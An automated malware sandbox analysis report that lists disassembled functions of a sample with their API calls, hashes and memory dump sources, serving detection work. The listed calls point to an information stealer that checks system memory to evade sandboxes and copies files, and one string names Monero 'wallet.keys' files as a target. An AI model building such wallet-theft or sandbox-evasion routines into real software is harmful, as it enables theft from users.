Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 6c556eccd4467662298e6d0488a9bb0eeead04005cdc6d11b6a79ae0d6f3104d
Instruction ID: 051ab23e5a0a1d1500500e963c2c17389d14b986fe1b70b6b06f895cbee590a7
Opcode Fuzzy Hash: 6c556eccd4467662298e6d0488a9bb0eeead04005cdc6d11b6a79ae0d6f3104d
Instruction Fuzzy Hash: E13186B2950208A7CB54F7B0DC89EED737CBB58700F404589F31996081EE78AB89CF96

Function 00771220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0077123E
__aulldiv.LIBCMT ref: 00771258
__aulldiv.LIBCMT ref: 00771266
ExitProcess.KERNEL32 ref: 00771294

Strings

@, xrefs: 00771233

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 88a13258e74346e657fe6f0ccd58b82390508649a4cfa77827977626ce11be1d
Instruction ID: ef005445e71215c90fa7875e660c9c3b6e29a9fca8591cdc3d84492ca14660b5
Opcode Fuzzy Hash: 88a13258e74346e657fe6f0ccd58b82390508649a4cfa77827977626ce11be1d
Instruction Fuzzy Hash: 1E0162B0E44308FADF10EBE4CC49BADB778BB04741F60C144E709B62C1D77859418759

Function 007840B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,014BD558,00000000,00020119,?), ref: 007840F4
RegQueryValueExA.ADVAPI32(?,014BDEC8,00000000,00000000,00000000,000000FF), ref: 00784118
RegCloseKey.ADVAPI32(?), ref: 00784122
lstrcat.KERNEL32(?,00000000), ref: 00784147
lstrcat.KERNEL32(?,014BDEF8), ref: 0078415B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: a706d08b47f5fe319d02af8c89387faff1fe8446dfb959f5acf4471917ed7718
Instruction ID: 780c6beba197c5f1e23e687d6b061bdf73121757c9415e3c1a485fb3d8066330
Opcode Fuzzy Hash: a706d08b47f5fe319d02af8c89387faff1fe8446dfb959f5acf4471917ed7718
Instruction Fuzzy Hash: BE41BCB6D10108ABDB14FBA4DD4AFFE733DAB48300F408658B61957181EE795B888BD2

Function 6C62C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C62C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C62C969
GetSystemInfo.KERNEL32(?), ref: 6C62C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C62C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C62C9E2

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction ID: 943e09e7a95ea0106f3f5939e2322afa1f710b71d8c6c9ab933078f07ffd00c3
Opcode Fuzzy Hash: aabe9986c9463aa994963f3d37128140de22a25597353e79862284f939ae2420
Instruction Fuzzy Hash: C4210772B41205BBEB14AF25CCC4BAE73B9EB86744F50411AF947A7A40DB6098048B9D

Function 00787E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787E37
RtlAllocateHeap.NTDLL(00000000), ref: 00787E3E
RegOpenKeyExA.KERNEL32(80000002,014AB968,00000000,00020119,?), ref: 00787E5E
RegQueryValueExA.KERNEL32(?,014BD5D8,00000000,00000000,000000FF,000000FF), ref: 00787E7F
RegCloseKey.ADVAPI32(?), ref: 00787E92

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ca439a6df788d93d6cbc76330baf59d5f8e2702d248cee87bdb87416c5e61713
Instruction ID: ed93c448f58fcbc15298c39b52fe3183f7b81ee253719ce64d82a96cbdd7322a
Opcode Fuzzy Hash: ca439a6df788d93d6cbc76330baf59d5f8e2702d248cee87bdb87416c5e61713
Instruction Fuzzy Hash: 921151B1A58205EFD714DF94DD89F7BBBB8EB04710F104259F606A7690D7785800DBA1

Function 007712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007712B4
RtlAllocateHeap.NTDLL(00000000), ref: 007712BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007712F5
RegCloseKey.ADVAPI32(?), ref: 007712FF

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d0157ece391441d9fcfc9b4cc217c20c77a90a90d7066b43d0afbe6e81dd3687
Instruction ID: ec5f812bb71d6b728ba154dc2f9b93b47aa87ed8d6fc08faec4775b9eebec176
Opcode Fuzzy Hash: d0157ece391441d9fcfc9b4cc217c20c77a90a90d7066b43d0afbe6e81dd3687
Instruction Fuzzy Hash: 320136B5A54208BBDB00DFD4DD89FAEB7BCEB48711F008155FA0597280DA749A019F51

Function 0077A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014B8A60,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0077A0BD
LoadLibraryA.KERNEL32(014BD738), ref: 0077A146

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A820: lstrlen.KERNEL32(00774F05,?,?,00774F05,00790DDE), ref: 0078A82B
Part of subcall function 0078A820: lstrcpy.KERNEL32(00790DDE,00000000), ref: 0078A885

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

SetEnvironmentVariableA.KERNEL32(014B8A60,00000000,00000000,?,007912D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00790AFE), ref: 0077A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0077A0B2, 0077A0C6, 0077A0DC

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 4a9b5824911e7b8893f086ae96527fcaa239f8632ebc761f54b08072c27c3f08
Instruction ID: f84dd5a6e106d03227ebf42d9a74b634dbd2723c8f7ff639984ec6b2c93782a8
Opcode Fuzzy Hash: 4a9b5824911e7b8893f086ae96527fcaa239f8632ebc761f54b08072c27c3f08
Instruction Fuzzy Hash: 8C4175F1929204FFDB05EFA4EE89AAD33B4B748311F144229F509932A1DB3C5944DB63

Function 0077A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00788B60: GetSystemTime.KERNEL32(00790E1A,014B9EA8,007905AE,?,?,007713F9,?,0000001A,00790E1A,00000000,?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 00788B86

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0077A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0077A3FF
lstrlen.KERNEL32(00000000), ref: 0077A6BC

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

DeleteFileA.KERNEL32(00000000), ref: 0077A743

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 21aeef56d401697616bce92a13fdd048d95ea717dd6d548edc91534d524e3f1a
Instruction ID: 5d36471068a2cfcfb9438a815681d851424fdc37f92f141b32d1465bbf752741
Opcode Fuzzy Hash: 21aeef56d401697616bce92a13fdd048d95ea717dd6d548edc91534d524e3f1a
Instruction Fuzzy Hash: C0E1E572850118EAEB05FBA4DD9ADEE7378AF54300F50816AF51672091EF3C7A49CB72

Function 0077D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00788B60: GetSystemTime.KERNEL32(00790E1A,014B9EA8,007905AE,?,?,007713F9,?,0000001A,00790E1A,00000000,?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 00788B86

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0077D801
lstrlen.KERNEL32(00000000), ref: 0077D99F
lstrlen.KERNEL32(00000000), ref: 0077D9B3
DeleteFileA.KERNEL32(00000000), ref: 0077DA32

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
